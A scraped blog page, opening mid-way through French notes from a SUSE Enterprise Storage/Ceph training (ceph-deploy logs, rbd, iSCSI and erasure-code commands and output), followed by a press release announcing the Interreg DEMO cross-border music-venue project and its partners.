: False [ceph_deploy.cli][INFO ] cd_conf : <ceph_deploy.conf.cephdeploy.Conf instance at 0x7fbd48a4df80> [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] ssh_copykey : True [ceph_deploy.cli][INFO ] mon : ['ses-node1'] [ceph_deploy.cli][INFO ] func : <function new at 0x7fbd48a285f0> [ceph_deploy.cli][INFO ] public_network : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] cluster_network : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] fsid : None [ceph_deploy.new][DEBUG ] Creating new cluster named ceph [ceph_deploy.new][INFO ] making sure passwordless SSH succeeds [ses-node1][DEBUG ] connected to host: ses-admin [ses-node1][INFO ] Running command: ssh -CT -o BatchMode=yes ses-node1 [ses-node1][DEBUG ] connection detected need for sudo [ses-node1][DEBUG ] connected to host: ses-node1 [ses-node1][DEBUG ] detect platform information from remote host [ses-node1][DEBUG ] detect machine type [ses-node1][DEBUG ] find the location of an executable [ses-node1][INFO ] Running command: sudo /bin/ip link show [ses-node1][INFO ] Running command: sudo /bin/ip addr show [ses-node1][DEBUG ] IP addresses found: ['192.168.100.11', '192.168.200.11'] [ceph_deploy.new][DEBUG ] Resolving host ses-node1 [ceph_deploy.new][DEBUG ] Monitor ses-node1 at 192.168.100.11 [ceph_deploy.new][DEBUG ] Monitor initial members are ['ses-node1'] [ceph_deploy.new][DEBUG ] Monitor addrs are ['192.168.100.11'] [ceph_deploy.new][DEBUG ] Creating a random mon key... [ceph_deploy.new][DEBUG ] Writing monitor keyring to ceph.mon.keyring... [ceph_deploy.new][DEBUG ] Writing initial config to ceph.conf... cephadm@ses-admin:~> Creation de pool pool name number of placement groups : (nber of OSD * 100 ) / nber of replicas pool size : 2,10 g take 20 g of storage and 20 g of netw transfert pool size : 3,10 g take 30 g of storage and 30 g of netw transfert => il vaut ;ieux bcp de petits data pool plutot qu un gros rados attaque en direct le pool sans passer par la couche osd default, replicate all datas => full replication, 3x stockage et bande passante RDB Storage pour avoir du block storage, il faut creer une image d abord puis ;appe en block device format1 or 2 => 2 support snapshots rbd create, puis map pour connect si besoin, faire le pool avant rbd create -p poolname rdbimagename --size xxx --image format 2 size en mb par defaut rbd list cephadm@ses-admin:~> ceph osd map test myobj osdmap e23 pool 'test' (1) object 'myobj' -> pg 1.c3ca3d86 (1.6) -> up ([2,1], p2) acting ([2,1], p2) cephadm@ses-admin:~> ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.04376 root default -2 0.01459 host ses-node1 0 0.01459 osd.0 up 1.00000 1.00000 -3 0.01459 host ses-node2 1 0.01459 osd.1 up 1.00000 1.00000 -4 0.01459 host ses-node3 2 0.01459 osd.2 up 1.00000 1.00000 cephadm@ses-admin:~> ceph osd pool set test size 3 set pool 1 size to 3 cephadm@ses-admin:~> ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.04376 root default -2 0.01459 host ses-node1 0 0.01459 osd.0 up 1.00000 1.00000 -3 0.01459 host ses-node2 1 0.01459 osd.1 up 1.00000 1.00000 -4 0.01459 host ses-node3 2 0.01459 osd.2 up 1.00000 1.00000 Mapping pour utilisation en direct persistence de mapping se fait dans fstab cephadm@ses-admin:~> rbd create -p block-pool block-storage --size 1024 cephadm@ses-admin:~> rbd -p block-pool info block-storage rbd image 'block-storage': size 1024 MB in 256 objects order 22 (4096 kB objects) block_name_prefix: rbd_data.108f238e1f29 format: 2 features: layering flags: cephadm@ses-admin:~> sudo su - ses-admin:~ # cat /etc/fstab UUID=a8cecc6a-ed55-45ec-9092-08cccd1d1fa5 swap swap defaults 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb / btrfs defaults 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /boot/grub2/i386-pc btrfs subvol=@/boot/grub2/i386-pc 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /boot/grub2/x86_64-efi btrfs subvol=@/boot/grub2/x86_64-efi 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /home btrfs subvol=@/home 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /opt btrfs subvol=@/opt 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /srv btrfs subvol=@/srv 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /tmp btrfs subvol=@/tmp 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /usr/local btrfs subvol=@/usr/local 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/crash btrfs subvol=@/var/crash 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/libvirt/images btrfs subvol=@/var/lib/libvirt/images 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mailman btrfs subvol=@/var/lib/mailman 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mariadb btrfs subvol=@/var/lib/mariadb 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mysql btrfs subvol=@/var/lib/mysql 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/named btrfs subvol=@/var/lib/named 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/pgsql btrfs subvol=@/var/lib/pgsql 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/log btrfs subvol=@/var/log 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/opt btrfs subvol=@/var/opt 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/spool btrfs subvol=@/var/spool 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/tmp btrfs subvol=@/var/tmp 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /.snapshots btrfs subvol=@/.snapshots 0 0 ses-admin:~ # rbd map -p block-pool --image block-storage /dev/rbd0 ses-admin:~ # rbd showmapped id pool image snap device 0 block-pool block-storage - /dev/rbd0 ses-admin:~ # ls /dev/rbd* /dev/rbd0 /dev/rbd: block-pool Snapshot sans overhead rbd snap (etc) Copy on write snapshot layering, i;age au for;at 2 obligatoirement mais les snapshots sont alors indispensables, i faut les proteger avec la fonction lock rfc3720 for iscsi json configurqtion quthenticqtion to iscsi authentication https://www.suse.com/docrep/documents/kgu61iyowz/suse_enterprise_storage_3_and_iscsi.pdf ses-node3:~ # targetcli ls o- / ..................................................................................................... [...] o- backstores .......................................................................................... [...] | o- fileio ............................................................................... [0 Storage Object] | o- iblock ............................................................................... [1 Storage Object] | | o- iscsi .................................................................. [/dev/rbd/rbd/iscsi activated] | o- pscsi ................................................................................ [0 Storage Object] | o- rbd .................................................................................. [0 Storage Object] | o- rd_mcp ............................................................................... [0 Storage Object] o- ib_srpt ....................................................................................... [0 Targets] o- iscsi .......................................................................................... [1 Target] | o- iqn.2003-01.org.linux-iscsi.ses-node3.x8664:sn.76494aa74ebc ..................................... [1 TPG] | o- tpg1 ........................................................................................ [enabled] | o- acls ....................................................................................... [0 ACLs] | o- luns ........................................................................................ [1 LUN] | | o- lun0 .......................................................... [iblock/iscsi (/dev/rbd/rbd/iscsi)] | o- portals .................................................................................. [1 Portal] | o- 192.168.100.13:3260 ........................................................... [OK, iser disabled] o- loopback ...................................................................................... [0 Targets] o- qla2xxx ....................................................................................... [0 Targets] o- tcm_fc ........................................................................................ [0 Targets] o- vhost ......................................................................................... [0 Targets] erasure code profile une sorte de qos pour econo;iser du reseau pour limiter les controles d integrite chaque erreur part dans une sorte de poubelle cephadm@ses-admin:~> ceph osd erasure-code-profile get default k=2 m=1 plugin=jerasure technique=reed_sol_van exemple k+m (10+6), on peut perdre 6 sur 16 disks (totalite des disques) 10 disks requis prend 60% de capacite attention aux perf, se rapproche d un raid6 si erasure profile fixe, ne peut pas etre change utile sur des donnes chaudes/donnees froides/cout de stockage ceph status : look at placement group ex : recovering en bas de page monitor : health, mon quorum, osd status, pg status, full disk, nodes status => ceph health => ceph status cephadm@ses-admin:~> ceph -w cluster 9a5b2edf-4d00-4b46-a010-3420d96450e5 health HEALTH_WARN too many PGs per OSD (408 > max 300) monmap e3: 3 mons at {ses-node1=192.168.100.11:6789/0,ses-node2=192.168.100.12:6789/0,ses-node3=192.168.100.13:6789/0} election epoch 6, quorum 0,1,2 ses-node1,ses-node2,ses-node3 osdmap e57: 3 osds: 3 up, 3 in flags sortbitwise pgmap v3256: 408 pgs, 15 pools, 70949 kB data, 505 objects 322 MB used, 45724 MB / 46046 MB avail 408 active+clean ceph calamari backend, romana frontend inclus avec suse enterprise storage install calamari puis deploy --master monitoring-mode alaister@suse.com

Olivier Duquesne aka DaffyDuke — 2016-04-28T19:42:33Z

Résultat d'un travail commun entamé en juin 2014, DEMO a été approuvé parmi 216 projets comme apportant une réponse concrète à la problématique « Valoriser et développer de manière innovante, créative et durable le patrimoine transfrontalier via le tourisme », sous la priorité « Protéger et valoriser l'environnement par une gestion intégrée des ressources transfrontalières ».

Avec ce soutien, les partenaires souhaitent mettre en commun leurs moyens et leur ingénierie pour concevoir et tester des solutions innovantes et créatives de valorisation durable du patrimoine culturel et naturel transfrontalier, dans le but de renforcer l'attractivité et le développement durable du territoire et d'apporter sa contribution à la stratégie Europe 2020 en créant des synergies entre le monde de la culture et du développement durable.

Les partenaires, pour certains forts de longues expériences de coopération transfrontalière, ont démontré la pertinence de DEMO et la cohérence de ses objectifs au regard de ceux du programme, dans une démarche inédite de collaboration transfrontalière ambitieuse et pluri-sectorielle, et ont fait valoir la richesse de leur diversité, l'étendue du prisme des activités couvertes ainsi que la cohérence de leur implantation géographique, de la Mer du Nord jusqu'aux forêts ardennaises.

Les 11 partenaires du projet sont :

Dour Festival, Dour, Belgique

Le Cabaret Vert, Charleville-Mézières, France

IeperFest, Ypres, Belgique

Le Grand Mix, Tourcoing, France

Les 4Ecluses, Dunkerque, France

De Kreun, Courtrai, Belgique

4AD, Dixmude, Belgique

Le centre culturel René Magritte, Lessines, Belgique

Extracité, Lille, France

IDEA, Mons, Belgique

IMOG, Harelbeke, Belgique

DEMO débutera dès avril 2016, pour une durée de 4 ans.

Une invitation à l'évènement de lancement du projet DEMO vous sera prochainement adressée, au cours duquel le projet vous sera plus précisément présenté.

Contact Mathieu Dauchy - Relations Publiques

LE GRAND MIX

72 rue Saint-Jacques, BP406

59337 Tourcoing

Tel. (+33) 03 20 70 02 33 / 06 77 16 96 99

mathieu chez legrandmix.com

L'Imp'Rock Scénette (by @_daffyduke_)

Sommaire

Salut Patrice

Les chaînes YouTube culturelles et scientifiques francophones

Histoire d'un piratage

Analyses

Remédiation

Post analyses

Conclusion

Annexes

Notes Meetup Docker - chez GFI

VSCT

ADEO

Notes Configuration Management Camp 2017

Notes Oracle Cloud

Notes Susecon 2016 - Washington

Notes Susecon 2016 - Washington

WELCOME TO DEMO ! Le projet europÃ©en DEMO sÃ©lectionnÃ© dans le cadre d'Interreg V France-Wallonie-Vlaanderen